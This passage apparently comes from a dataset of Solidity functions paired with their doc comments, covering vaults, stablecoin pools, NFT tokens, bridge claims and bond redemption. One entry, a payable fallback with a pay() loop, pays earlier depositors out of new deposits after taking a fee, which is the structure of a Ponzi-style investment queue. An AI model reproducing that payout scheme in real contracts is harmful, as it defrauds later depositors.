bytePositions[i] );\r\n }\r\n\r\n for( uint i = 0; i < CUSTOM_BYTE_COUNT; i++ ) {\r\n setByte( tokenId, i, bytePositions[i], byteValues[i] );\r\n }\r\n }", "version": "0.8.7"} {"comment": "// can unlock a feature if:\n// tokenId is valid\n// unlock index is valid\n// sender is the owner of the token\n// unlock ownership/time requirements are met", "function_code": "function checkCanUnlock( address sender, uint tokenId, uint unlockIndex )\r\n public\r\n view\r\n {\r\n require( tokenId < _tokenIdCounter.current(), \"Invalid token id\" );\r\n require( unlockIndex < UNLOCKS_COUNT, \"Invalid lock\" );\r\n require( ERC721.ownerOf( tokenId ) == sender, \"Only owner can unlock\" );\r\n\r\n // time constraint: 32, 64, 128, 256 days\r\n uint timeRequirement = ( 2 ** unlockIndex ) * 32 * DAY_SECONDS;\r\n string memory message = string( abi.encodePacked( \"Since Last Transfer needs to be \", timeRequirement.toString() ) );\r\n\r\n require( ( block.timestamp - tokenData[tokenId].lastTransfer ) >= timeRequirement, message );\r\n\r\n if( unlockIndex == 0 ) {\r\n // to unlock 0, need to own at least 2\r\n require( ERC721.balanceOf( sender ) > 1, \"Need to own 2 or more\" );\r\n }\r\n\r\n // to unlock 3, need to satisfy time constraint and own at least 4\r\n if( unlockIndex == 3 ) {\r\n require( ERC721.balanceOf( sender ) > 3, \"Need to own 4 or more\" );\r\n }\r\n }", "version": "0.8.7"} {"comment": "/*\n * @dev: completeProphecyClaim\n * Allows for the completion of ProphecyClaims once processed by the Oracle.\n * Burn claims unlock tokens stored by BridgeBank.\n * Lock claims mint BridgeTokens on BridgeBank's token whitelist.\n */", "function_code": "function completeProphecyClaim(\n uint256 _prophecyID,\n address tokenAddress,\n ClaimType claimType,\n address payable ethereumReceiver,\n string memory symbol,\n uint256 amount\n ) internal {\n\n if (claimType == ClaimType.Burn) {\n unlockTokens(ethereumReceiver, symbol, amount);\n } else {\n issueBridgeTokens(ethereumReceiver, tokenAddress, symbol, amount);\n }\n\n emit LogProphecyCompleted(_prophecyID, claimType);\n }", "version": "0.5.16"} {"comment": "/// @dev Sets the harvest fee.\n///\n/// This function reverts if the caller is not the current governance.\n///\n/// @param _harvestFee the new harvest fee.", "function_code": "function setHarvestFee(uint256 _harvestFee) external onlyGov {\r\n\r\n // Check that the harvest fee is within the acceptable range. Setting the harvest fee greater than 100% could\r\n // potentially break internal logic when calculating the harvest fee.\r\n require(_harvestFee <= PERCENT_RESOLUTION, \"YumIdleVault: harvest fee above maximum.\");\r\n\r\n harvestFee = _harvestFee;\r\n\r\n emit HarvestFeeUpdated(_harvestFee);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Initializes the contract.\n///\n/// This function checks that the transmuter and rewards have been set and sets up the active vault.\n///\n/// @param _adapter the vault adapter of the active vault.", "function_code": "function initialize(IVaultAdapterV2 _adapter) external onlyGov {\r\n\r\n require(!initialized, \"YumIdleVault: already initialized\");\r\n\r\n require(transmuter != ZERO_ADDRESS, \"YumIdleVault: cannot initialize transmuter address to 0x0\");\r\n require(rewards != ZERO_ADDRESS, \"YumIdleVault: cannot initialize rewards address to 0x0\");\r\n\r\n _updateActiveVault(_adapter);\r\n\r\n initialized = true;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Harvests yield from a vault.\n///\n/// @param _vaultId the identifier of the vault to harvest from.\n///\n/// @return the amount of funds that were harvested from the vault.", "function_code": "function harvest(uint256 _vaultId) external expectInitialized returns (uint256, uint256) {\r\n\r\n VaultV2.Data storage _vault = _vaults.get(_vaultId);\r\n\r\n (uint256 _harvestedAmount, uint256 _decreasedValue) = _vault.harvest(address(this));\r\n\r\n if (_harvestedAmount > 0) {\r\n uint256 _feeAmount = _harvestedAmount.mul(harvestFee).div(PERCENT_RESOLUTION);\r\n uint256 _distributeAmount = _harvestedAmount.sub(_feeAmount);\r\n\r\n FixedPointMath.uq192x64 memory _weight = FixedPointMath.fromU256(_distributeAmount).div(totalDeposited);\r\n _ctx.accumulatedYieldWeight = _ctx.accumulatedYieldWeight.add(_weight);\r\n\r\n if (_feeAmount > 0) {\r\n token.safeTransfer(rewards, _feeAmount);\r\n }\r\n\r\n if (_distributeAmount > 0) {\r\n _distributeToTransmuter(_distributeAmount);\r\n\r\n // token.safeTransfer(transmuter, _distributeAmount); previous version call\r\n }\r\n }\r\n\r\n emit FundsHarvested(_harvestedAmount, _decreasedValue);\r\n\r\n return (_harvestedAmount, _decreasedValue);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Flushes buffered tokens to the active vault.\n///\n/// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of\n/// additional funds.\n///\n/// @return the amount of tokens flushed to the active vault.", "function_code": "function flush() external nonReentrant expectInitialized returns (uint256) {\r\n\r\n // Prevent flushing to the active vault when an emergency exit is enabled to prevent potential loss of funds if\r\n // the active vault is poisoned for any reason.\r\n require(!emergencyExit, \"emergency pause enabled\");\r\n\r\n return flushActiveVault();\r\n }", "version": "0.6.12"} {"comment": "/// @dev Deposits collateral into a CDP.\n///\n/// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of\n/// additional funds.\n///\n/// @param _amount the amount of collateral to deposit.", "function_code": "function deposit(uint256 _amount) external nonReentrant noContractAllowed expectInitialized {\r\n\r\n require(!emergencyExit, \"emergency pause enabled\");\r\n\r\n CDP.Data storage _cdp = _cdps[msg.sender];\r\n _cdp.update(_ctx);\r\n\r\n token.safeTransferFrom(msg.sender, address(this), _amount);\r\n if(_amount >= flushActivator) {\r\n flushActiveVault();\r\n }\r\n totalDeposited = totalDeposited.add(_amount);\r\n\r\n _cdp.totalDeposited = _cdp.totalDeposited.add(_amount);\r\n _cdp.lastDeposit = block.number;\r\n\r\n emit TokensDeposited(msg.sender, _amount);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Attempts to withdraw part of a CDP's collateral.\n///\n/// This function reverts if a deposit into the CDP was made in the same block. This is to prevent flash loan attacks\n/// on other internal or external systems.\n///\n/// @param _amount the amount of collateral to withdraw.", "function_code": "function withdraw(uint256 _amount) external nonReentrant noContractAllowed expectInitialized returns (uint256, uint256) {\r\n\r\n CDP.Data storage _cdp = _cdps[msg.sender];\r\n require(block.number > _cdp.lastDeposit, \"\");\r\n\r\n _cdp.update(_ctx);\r\n\r\n (uint256 _withdrawnAmount, uint256 _decreasedValue) = _withdrawFundsTo(msg.sender, _amount);\r\n\r\n _cdp.totalDeposited = _cdp.totalDeposited.sub(_decreasedValue, \"Exceeds withdrawable amount\");\r\n _cdp.checkHealth(_ctx, \"Action blocked: unhealthy collateralization ratio\");\r\n\r\n emit TokensWithdrawn(msg.sender, _amount, _withdrawnAmount, _decreasedValue);\r\n\r\n return (_withdrawnAmount, _decreasedValue);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Repays debt with the native and or synthetic token.\n///\n/// An approval is required to transfer native tokens to the transmuter.", "function_code": "function repay(uint256 _parentAmount, uint256 _childAmount) external nonReentrant noContractAllowed onLinkCheck expectInitialized {\r\n\r\n CDP.Data storage _cdp = _cdps[msg.sender];\r\n _cdp.update(_ctx);\r\n\r\n if (_parentAmount > 0) {\r\n token.safeTransferFrom(msg.sender, address(this), _parentAmount);\r\n _distributeToTransmuter(_parentAmount);\r\n }\r\n\r\n if (_childAmount > 0) {\r\n xtoken.burnFrom(msg.sender, _childAmount);\r\n //lower debt cause burn\r\n xtoken.lowerHasMinted(_childAmount);\r\n }\r\n\r\n uint256 _totalAmount = _parentAmount.add(_childAmount);\r\n _cdp.totalDebt = _cdp.totalDebt.sub(_totalAmount, \"\");\r\n\r\n emit TokensRepaid(msg.sender, _parentAmount, _childAmount);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Attempts to liquidate part of a CDP's collateral to pay back its debt.\n///\n/// @param _amount the amount of collateral to attempt to liquidate.", "function_code": "function liquidate(uint256 _amount) external nonReentrant noContractAllowed onLinkCheck expectInitialized returns (uint256, uint256) {\r\n CDP.Data storage _cdp = _cdps[msg.sender];\r\n _cdp.update(_ctx);\r\n\r\n // don't attempt to liquidate more than is possible\r\n if(_amount > _cdp.totalDebt){\r\n _amount = _cdp.totalDebt;\r\n }\r\n (uint256 _withdrawnAmount, uint256 _decreasedValue) = _withdrawFundsTo(address(this), _amount);\r\n //changed to new transmuter compatibillity\r\n _distributeToTransmuter(_withdrawnAmount);\r\n\r\n _cdp.totalDeposited = _cdp.totalDeposited.sub(_decreasedValue, \"\");\r\n _cdp.totalDebt = _cdp.totalDebt.sub(_withdrawnAmount, \"\");\r\n emit TokensLiquidated(msg.sender, _amount, _withdrawnAmount, _decreasedValue);\r\n\r\n return (_withdrawnAmount, _decreasedValue);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Mints synthetic tokens by either claiming credit or increasing the debt.\n///\n/// Claiming credit will take priority over increasing the debt.\n///\n/// This function reverts if the debt is increased and the CDP health check fails.\n///\n/// @param _amount the amount of alchemic tokens to borrow.", "function_code": "function mint(uint256 _amount) external nonReentrant noContractAllowed onLinkCheck expectInitialized {\r\n\r\n CDP.Data storage _cdp = _cdps[msg.sender];\r\n _cdp.update(_ctx);\r\n\r\n uint256 _totalCredit = _cdp.totalCredit;\r\n\r\n if (_totalCredit < _amount) {\r\n uint256 _remainingAmount = _amount.sub(_totalCredit);\r\n _cdp.totalDebt = _cdp.totalDebt.add(_remainingAmount);\r\n _cdp.totalCredit = 0;\r\n\r\n _cdp.checkHealth(_ctx, \"YumIdleVault: Loan-to-value ratio breached\");\r\n } else {\r\n _cdp.totalCredit = _totalCredit.sub(_amount);\r\n }\r\n\r\n xtoken.mint(msg.sender, _amount);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Recalls an amount of funds from a vault to this contract.\n///\n/// @param _vaultId the identifier of the recall funds from.\n/// @param _amount the amount of funds to recall from the vault.\n///\n/// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value.", "function_code": "function _recallFunds(uint256 _vaultId, uint256 _amount) internal returns (uint256, uint256) {\r\n require(emergencyExit || msg.sender == governance || _vaultId != _vaults.lastIndex(), \"YumIdleVault: not an emergency, not governance, and user does not have permission to recall funds from active vault\");\r\n\r\n VaultV2.Data storage _vault = _vaults.get(_vaultId);\r\n (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdraw(address(this), _amount, false);\r\n\r\n emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue);\r\n\r\n return (_withdrawnAmount, _decreasedValue);\r\n }", "version": "0.6.12"} {"comment": "/// @dev Attempts to withdraw funds from the active vault to the recipient.\n///\n/// Funds will be first withdrawn from this contracts balance and then from the active vault. This function\n/// is different from `recallFunds` in that it reduces the total amount of deposited tokens by the decreased\n/// value of the vault.\n///\n/// @param _recipient the account to withdraw the funds to.\n/// @param _amount the amount of funds to withdraw.", "function_code": "function _withdrawFundsTo(address _recipient, uint256 _amount) internal returns (uint256, uint256) {\r\n // Pull the funds from the buffer.\r\n uint256 _bufferedAmount = Math.min(_amount, token.balanceOf(address(this)));\r\n\r\n if (_recipient != address(this)) {\r\n token.safeTransfer(_recipient, _bufferedAmount);\r\n }\r\n\r\n uint256 _totalWithdrawn = _bufferedAmount;\r\n uint256 _totalDecreasedValue = _bufferedAmount;\r\n\r\n uint256 _remainingAmount = _amount.sub(_bufferedAmount);\r\n\r\n // Pull the remaining funds from the active vault.\r\n if (_remainingAmount > 0) {\r\n VaultV2.Data storage _activeVault = _vaults.last();\r\n (uint256 _withdrawAmount, uint256 _decreasedValue) = _activeVault.withdraw(\r\n _recipient,\r\n _remainingAmount,\r\n false\r\n );\r\n\r\n _totalWithdrawn = _totalWithdrawn.add(_withdrawAmount);\r\n _totalDecreasedValue = _totalDecreasedValue.add(_decreasedValue);\r\n }\r\n\r\n totalDeposited = totalDeposited.sub(_totalDecreasedValue);\r\n\r\n return (_totalWithdrawn, _totalDecreasedValue);\r\n }", "version": "0.6.12"} {"comment": "//This function receives all the deposits\n//stores them and make immediate payouts", "function_code": "function () public payable {\r\n if(msg.value > 0){\r\n require(gasleft() >= 220000, \"We require more gas!\");\r\n require(msg.value <= MAX_LIMIT, \"Deposit is too big\");\r\n\r\n queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value * QUICKQUEUE / 100)));\r\n\r\n uint ads = msg.value * SUPPORT_PERCENT / 100;\r\n SUPPORT.transfer(ads);\r\n\r\n pay();\r\n }\r\n }", "version": "0.4.25"} {"comment": "//Used to pay to current investors\n//Each new transaction processes 1 - 4+ investors in the head of queue \n//depending on balance and gas left", "function_code": "function pay() private {\r\n uint128 money = uint128(address(this).balance);\r\n\r\n for(uint i = 0; i < queue.length; i++) {\r\n\r\n uint idx = currentReceiverIndex + i;\r\n\r\n Deposit storage dep = queue[idx];\r\n\r\n if(money >= dep.expect) { \r\n dep.depositor.transfer(dep.expect);\r\n money -= dep.expect;\r\n\r\n delete queue[idx];\r\n } else {\r\n dep.depositor.transfer(money);\r\n dep.expect -= money; \r\n break; \r\n }\r\n\r\n if (gasleft() <= 50000) \r\n break; \r\n }\r\n\r\n currentReceiverIndex += i; \r\n }", "version": "0.4.25"} {"comment": "/// @dev Creates a new promo Person with the given name, with given _price and assignes it to an address.", "function_code": "function createPromoPerson(address _owner, string _name, uint256 _price) public onlyCOO {\r\n require(promoCreatedCount < PROMO_CREATION_LIMIT);\r\n\r\n address personOwner = _owner;\r\n if (personOwner == address(0)) {\r\n personOwner = cooAddress;\r\n }\r\n\r\n if (_price <= 0) {\r\n _price = startingPrice;\r\n }\r\n\r\n promoCreatedCount++;\r\n _createPerson(_name, personOwner, _price);\r\n }", "version": "0.4.18"} {"comment": "// Allows someone to send ether and obtain the token", "function_code": "function purchase(uint256 _tokenId) public payable {\r\n address oldOwner = personIndexToOwner[_tokenId];\r\n address newOwner = msg.sender;\r\n\r\n uint256 sellingPrice = personIndexToPrice[_tokenId];\r\n\r\n // Making sure token owner is not sending to self\r\n require(oldOwner != newOwner);\r\n\r\n // Safety check to prevent against an unexpected 0x0 default.\r\n require(_addressNotNull(newOwner));\r\n\r\n // Making sure sent amount is greater than or equal to the sellingPrice\r\n require(msg.value >= sellingPrice);\r\n\r\n uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 94), 100));\r\n uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);\r\n\r\n // Update prices\r\n if (sellingPrice < firstStepLimit) {\r\n // first stage\r\n personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 94);\r\n } else if (sellingPrice < secondStepLimit) {\r\n // second stage\r\n personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 94);\r\n } else {\r\n // third stage\r\n personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 94);\r\n }\r\n\r\n _transfer(oldOwner, newOwner, _tokenId);\r\n\r\n // Pay previous tokenOwner if owner is not contract\r\n if (oldOwner != address(this)) {\r\n oldOwner.transfer(payment); //(1-0.06)\r\n }\r\n\r\n TokenSold(_tokenId, sellingPrice, personIndexToPrice[_tokenId], oldOwner, newOwner, persons[_tokenId].name);\r\n\r\n msg.sender.transfer(purchaseExcess);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Allow pre-approved user to take ownership of a token\n/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.\n/// @dev Required for ERC-721 compliance.", "function_code": "function takeOwnership(uint256 _tokenId) public {\r\n address newOwner = msg.sender;\r\n address oldOwner = personIndexToOwner[_tokenId];\r\n\r\n // Safety check to prevent against an unexpected 0x0 default.\r\n require(_addressNotNull(newOwner));\r\n\r\n // Making sure transfer is approved\r\n require(_approved(newOwner, _tokenId));\r\n\r\n _transfer(oldOwner, newOwner, _tokenId);\r\n }", "version": "0.4.18"} {"comment": "/// @param _owner The owner whose celebrity tokens we are interested in.\n/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly\n/// expensive (it walks the entire Persons array looking for persons belonging to owner),\n/// but it also returns a dynamic array, which is only supported for web3 calls, and\n/// not contract-to-contract calls.", "function_code": "function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {\r\n uint256 tokenCount = balanceOf(_owner);\r\n if (tokenCount == 0) {\r\n // Return an empty array\r\n return new uint256[](0);\r\n } else {\r\n uint256[] memory result = new uint256[](tokenCount);\r\n uint256 totalPersons = totalSupply();\r\n uint256 resultIndex = 0;\r\n\r\n uint256 personId;\r\n for (personId = 0; personId <= totalPersons; personId++) {\r\n if (personIndexToOwner[personId] == _owner) {\r\n result[resultIndex] = personId;\r\n resultIndex++;\r\n }\r\n }\r\n return result;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// For creating Person", "function_code": "function _createPerson(string _name, address _owner, uint256 _price) private {\r\n Person memory _person = Person({\r\n name: _name\r\n });\r\n uint256 newPersonId = persons.push(_person) - 1;\r\n\r\n // It's probably never going to happen, 4 billion tokens are A LOT, but\r\n // let's just be 100% sure we never let this happen.\r\n require(newPersonId == uint256(uint32(newPersonId)));\r\n\r\n Birth(newPersonId, _name, _owner);\r\n\r\n personIndexToPrice[newPersonId] = _price;\r\n\r\n // This will assign ownership, and also emit the Transfer event as\r\n // per ERC721 draft\r\n _transfer(address(0), _owner, newPersonId);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Assigns ownership of a specific Person to an address.", "function_code": "function _transfer(address _from, address _to, uint256 _tokenId) private {\r\n // Since the number of persons is capped to 2^32 we can't overflow this\r\n ownershipTokenCount[_to]++;\r\n //transfer ownership\r\n personIndexToOwner[_tokenId] = _to;\r\n\r\n // When creating new persons _from is 0x0, but we can't account that address.\r\n if (_from != address(0)) {\r\n ownershipTokenCount[_from]--;\r\n // clear any previously approved ownership exchange\r\n delete personIndexToApproved[_tokenId];\r\n }\r\n\r\n // Emit the transfer event.\r\n Transfer(_from, _to, _tokenId);\r\n }", "version": "0.4.18"} {"comment": "// Choice = 'PUSD' or 'PEGS' for now", "function_code": "function oracle_price(PriceChoice choice) internal view returns (uint256) {\n // Get the ETH / USD price first, and cut it down to 1e6 precision\n uint256 eth_usd_price = uint256(eth_usd_pricer.getLatestPrice()).mul(PRICE_PRECISION).div(uint256(10) ** eth_usd_pricer_decimals);\n uint256 price_vs_eth;\n\n if (choice == PriceChoice.PUSD) {\n price_vs_eth = uint256(pusdEthOracle.consult(weth_address, PRICE_PRECISION)); // How much PUSD if you put in PRICE_PRECISION WETH\n }\n else if (choice == PriceChoice.PEGS) {\n price_vs_eth = uint256(pegsEthOracle.consult(weth_address, PRICE_PRECISION)); // How much PEGS if you put in PRICE_PRECISION WETH\n }\n else revert(\"INVALID PRICE CHOICE. Needs to be either 0 (PUSD) or 1 (PEGS)\");\n\n // Will be in 1e6 format\n return eth_usd_price.mul(PRICE_PRECISION).div(price_vs_eth);\n }", "version": "0.6.11"} {"comment": "// This is needed to avoid costly repeat calls to different getter functions\n// It is cheaper gas-wise to just dump everything and only use some of the info", "function_code": "function pusd_info() public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) {\n return (\n oracle_price(PriceChoice.PUSD), // pusd_price()\n oracle_price(PriceChoice.PEGS), // pegs_price()\n totalSupply(), // totalSupply()\n global_collateral_ratio, // global_collateral_ratio()\n globalCollateralValue(), // globalCollateralValue\n minting_fee, // minting_fee()\n redemption_fee, // redemption_fee()\n uint256(eth_usd_pricer.getLatestPrice()).mul(PRICE_PRECISION).div(uint256(10) ** eth_usd_pricer_decimals) //eth_usd_price\n );\n }", "version": "0.6.11"} {"comment": "// Iterate through all pusd pools and calculate all value of collateral in all pools globally ", "function_code": "function globalCollateralValue() public view returns (uint256) {\n uint256 total_collateral_value_d18 = 0; \n\n for (uint i = 0; i < pusd_pools_array.length; i++){ \n // Exclude null addresses\n if (pusd_pools_array[i] != address(0)){\n total_collateral_value_d18 = total_collateral_value_d18.add(PusdPool(pusd_pools_array[i]).collatDollarBalance());\n }\n\n }\n return total_collateral_value_d18;\n }", "version": "0.6.11"} {"comment": "// Last time the refreshCollateralRatio function was called", "function_code": "function refreshCollateralRatio() public {\n require(collateral_ratio_paused == false, \"Collateral Ratio has been paused\");\n uint256 pusd_price_cur = pusd_price();\n require(block.timestamp - last_call_time >= refresh_cooldown, \"Must wait for the refresh cooldown since last refresh\");\n\n // Step increments are 0.25% (upon genesis, changable by setPusdStep()) \n \n if (pusd_price_cur > price_target.add(price_band)) { //decrease collateral ratio\n if(global_collateral_ratio <= pusd_step){ //if within a step of 0, go to 0\n global_collateral_ratio = 0;\n } else {\n global_collateral_ratio = global_collateral_ratio.sub(pusd_step);\n }\n } else if (pusd_price_cur < price_target.sub(price_band)) { //increase collateral ratio\n if(global_collateral_ratio.add(pusd_step) >= 1000000){\n global_collateral_ratio = 1000000; // cap collateral ratio at 1.000000\n } else {\n global_collateral_ratio = global_collateral_ratio.add(pusd_step);\n }\n }\n\n last_call_time = block.timestamp; // Set the time of the last expansion\n }", "version": "0.6.11"} {"comment": "// Remove a pool ", "function_code": "function removePool(address pool_address) public onlyByOwnerOrGovernance {\n require(pusd_pools[pool_address] == true, \"address doesn't exist already\");\n \n delete pusd_pools[pool_address];\n\n for (uint i = 0; i < pusd_pools_array.length; i++){ \n if (pusd_pools_array[i] == pool_address) {\n pusd_pools_array[i] = address(0); // This will leave a null in the array and keep the indices the same\n break;\n }\n }\n }", "version": "0.6.11"} {"comment": "// This function is what other pusd pools will call to mint new PEGS (similar to the PUSD mint) ", "function_code": "function pool_mint(address m_address, uint256 m_amount) external onlyPools { \n if(trackingVotes){\n uint32 srcRepNum = numCheckpoints[address(this)];\n uint96 srcRepOld = srcRepNum > 0 ? checkpoints[address(this)][srcRepNum - 1].votes : 0;\n uint96 srcRepNew = add96(srcRepOld, uint96(m_amount), \"pool_mint new votes overflows\");\n _writeCheckpoint(address(this), srcRepNum, srcRepOld, srcRepNew); // mint new votes\n trackVotes(address(this), m_address, uint96(m_amount));\n }\n\n super._mint(m_address, m_amount);\n emit PEGSMinted(address(this), m_address, m_amount);\n }", "version": "0.6.11"} {"comment": "// This function is what other pusd pools will call to burn PEGS ", "function_code": "function pool_burn_from(address b_address, uint256 b_amount) external onlyPools {\n if(trackingVotes){\n trackVotes(b_address, address(this), uint96(b_amount));\n uint32 srcRepNum = numCheckpoints[address(this)];\n uint96 srcRepOld = srcRepNum > 0 ? checkpoints[address(this)][srcRepNum - 1].votes : 0;\n uint96 srcRepNew = sub96(srcRepOld, uint96(b_amount), \"pool_burn_from new votes underflows\");\n _writeCheckpoint(address(this), srcRepNum, srcRepOld, srcRepNew); // burn votes\n }\n\n super._burnFrom(b_address, b_amount);\n emit PEGSBurned(b_address, address(this), b_amount);\n }", "version": "0.6.11"} {"comment": "/// @dev Checks if a given address currently has transferApproval for a particular fighter.\n/// @param _claimant the address we are confirming brawler is approved for.\n/// @param _tokenId fighter id, only valid when > 0", "function_code": "function _approvedFor(address _claimant, uint256 _tokenId)\r\n internal\r\n view\r\n returns (bool)\r\n {\r\n if (fighterIdToApproved[_tokenId] == _claimant) {\r\n return true;\r\n }\r\n\r\n bool _senderIsOperator = false;\r\n address _owner = fighterIdToOwner[_tokenId];\r\n address[] memory _validOperators = ownerToOperators[_owner];\r\n\r\n uint256 _operatorIndex;\r\n for (\r\n _operatorIndex = 0;\r\n _operatorIndex < _validOperators.length;\r\n _operatorIndex++\r\n ) {\r\n if (_validOperators[_operatorIndex] == _claimant) {\r\n _senderIsOperator = true;\r\n break;\r\n }\r\n }\r\n\r\n return _senderIsOperator;\r\n }", "version": "0.8.2"} {"comment": "// From compound's _moveDelegates\n// Keep track of votes. \"Delegates\" is a misnomer here", "function_code": "function trackVotes(address srcRep, address dstRep, uint96 amount) internal {\n if (srcRep != dstRep && amount > 0) {\n if (srcRep != address(0)) {\n uint32 srcRepNum = numCheckpoints[srcRep];\n uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;\n uint96 srcRepNew = sub96(srcRepOld, amount, \"PEGS::_moveVotes: vote amount underflows\");\n _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);\n }\n\n if (dstRep != address(0)) {\n uint32 dstRepNum = numCheckpoints[dstRep];\n uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;\n uint96 dstRepNew = add96(dstRepOld, amount, \"PEGS::_moveVotes: vote amount overflows\");\n _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);\n }\n }\n }", "version": "0.6.11"} {"comment": "/**\n * repays bond token, any user can call it\n */", "function_code": "function withdraw(uint256 tokenId) external {\n // check if token exists\n require(\n IBondToken(_bond).hasToken(tokenId),\n \"bond token id does not exist\");\n\n address user = _msgSender();\n\n // get token properties\n ( uint256 value, /* uint256 interest */, uint256 maturity ) = IBondToken(_bond)\n .getTokenInfo(tokenId);\n\n address owner = IERC721(_bond).ownerOf(tokenId);\n bool isOwner = owner == user;\n\n if (!isOwner) {\n require (\n IAllowList(_allowList).isAllowedAccount(user),\n \"user is not allowed\");\n require(\n block.timestamp > maturity + _claimPeriod,\n \"claim period is not finished yet\");\n }\n\n // check if enough money to repay\n require(IERC20(_eurxb).balanceOf(user) >= value,\n \"not enough EURxb to withdraw\");\n\n // burn EURxb\n IEURxb(_eurxb).burn(user, value);\n if (maturity > block.timestamp) {\n // only if maturity has not arrived yet\n IEURxb(_eurxb).removeMaturity(value, maturity);\n }\n\n if (!isOwner) {\n // if not owner, need to transfer ownership first\n IBondToken(_bond).safeTransferFrom(owner, user, tokenId);\n }\n\n // burn token\n IBondToken(_bond).burn(tokenId);\n }", "version": "0.6.3"} {"comment": "/* Private allocation functions */", "function_code": "function _calculatePoolMax() private {\n uint256[] memory poolMax = new uint256[](combinedPoolAllocation.length);\n for (uint256 i = 0; i < combinedPoolAllocation.length; i++) {\n uint256 max = 0;\n for (uint256 j = 0; j < combinedPoolAllocation[i].length; j++) {\n max += combinedPoolAllocation[i][j];\n }\n poolMax[i] = max;\n }\n _poolMax = poolMax;\n }", "version": "0.6.12"} {"comment": "/* PUBLIC ADMIN ONLY */", "function_code": "function withdraw() public payable override nonReentrant {\n require(\n hasRole(OWNER_ROLE, _msgSender()),\n \"must have owner role to withdraw\"\n );\n uint256 remainder = (address(this).balance);\n uint256 division = remainder.div(100);\n for (uint8 i = 0; i < splitAddresses.length; i++) {\n // if at last address send the remainder\n if (i == splitAddresses.length - 1) {\n Address.sendValue(payable(splitAddresses[i]), remainder);\n } else {\n uint256 alloc = division.mul(splitPercentage[i]);\n Address.sendValue(payable(splitAddresses[i]), alloc);\n remainder -= alloc;\n }\n }\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Cannot be used for already spawned positions\r\n * @notice Token using as main collateral must be whitelisted\r\n * @notice Depositing tokens must be pre-approved to vault address\r\n * @notice position actually considered as spawned only when usdpAmount > 0\r\n * @dev Spawns new positions\r\n * @param asset The address of token using as main collateral\r\n * @param mainAmount The amount of main collateral to deposit\r\n * @param usdpAmount The amount of USDP token to borrow\r\n **/", "function_code": "function spawn(address asset, uint mainAmount, uint usdpAmount) public nonReentrant {\r\n require(usdpAmount != 0, \"Unit Protocol: ZERO_BORROWING\");\r\n\r\n // check whether the position is spawned\r\n require(vault.getTotalDebt(asset, msg.sender) == 0, \"Unit Protocol: SPAWNED_POSITION\");\r\n\r\n // oracle availability check\r\n require(vault.vaultParameters().isOracleTypeEnabled(ORACLE_TYPE, asset), \"Unit Protocol: WRONG_ORACLE_TYPE\");\r\n\r\n // USDP minting triggers the spawn of a position\r\n vault.spawn(asset, msg.sender, ORACLE_TYPE);\r\n\r\n _depositAndBorrow(asset, msg.sender, mainAmount, usdpAmount);\r\n\r\n // fire an event\r\n emit Join(asset, msg.sender, mainAmount, usdpAmount);\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Cannot be used for already spawned positions\r\n * @notice WETH must be whitelisted as collateral\r\n * @notice position actually considered as spawned only when usdpAmount > 0\r\n * @dev Spawns new positions using ETH\r\n * @param usdpAmount The amount of USDP token to borrow\r\n **/", "function_code": "function spawn_Eth(uint usdpAmount) public payable nonReentrant {\r\n require(usdpAmount != 0, \"Unit Protocol: ZERO_BORROWING\");\r\n\r\n // check whether the position is spawned\r\n require(vault.getTotalDebt(vault.weth(), msg.sender) == 0, \"Unit Protocol: SPAWNED_POSITION\");\r\n\r\n // oracle availability check\r\n require(vault.vaultParameters().isOracleTypeEnabled(ORACLE_TYPE, vault.weth()), \"Unit Protocol: WRONG_ORACLE_TYPE\");\r\n\r\n // USDP minting triggers the spawn of a position\r\n vault.spawn(vault.weth(), msg.sender, ORACLE_TYPE);\r\n\r\n _depositAndBorrow_Eth(msg.sender, usdpAmount);\r\n\r\n // fire an event\r\n emit Join(vault.weth(), msg.sender, msg.value, usdpAmount);\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Position should be spawned (USDP borrowed from position) to call this method\r\n * @notice Depositing tokens must be pre-approved to vault address\r\n * @notice Token using as main collateral must be whitelisted\r\n * @dev Deposits collaterals and borrows USDP to spawned positions simultaneously\r\n * @param asset The address of token using as main collateral\r\n * @param mainAmount The amount of main collateral to deposit\r\n * @param usdpAmount The amount of USDP token to borrow\r\n **/", "function_code": "function depositAndBorrow(\r\n address asset,\r\n uint mainAmount,\r\n uint usdpAmount\r\n )\r\n public\r\n spawned(asset, msg.sender)\r\n nonReentrant\r\n {\r\n require(usdpAmount != 0, \"Unit Protocol: ZERO_BORROWING\");\r\n\r\n _depositAndBorrow(asset, msg.sender, mainAmount, usdpAmount);\r\n\r\n // fire an event\r\n emit Join(asset, msg.sender, mainAmount, usdpAmount);\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Tx sender must have a sufficient USDP balance to 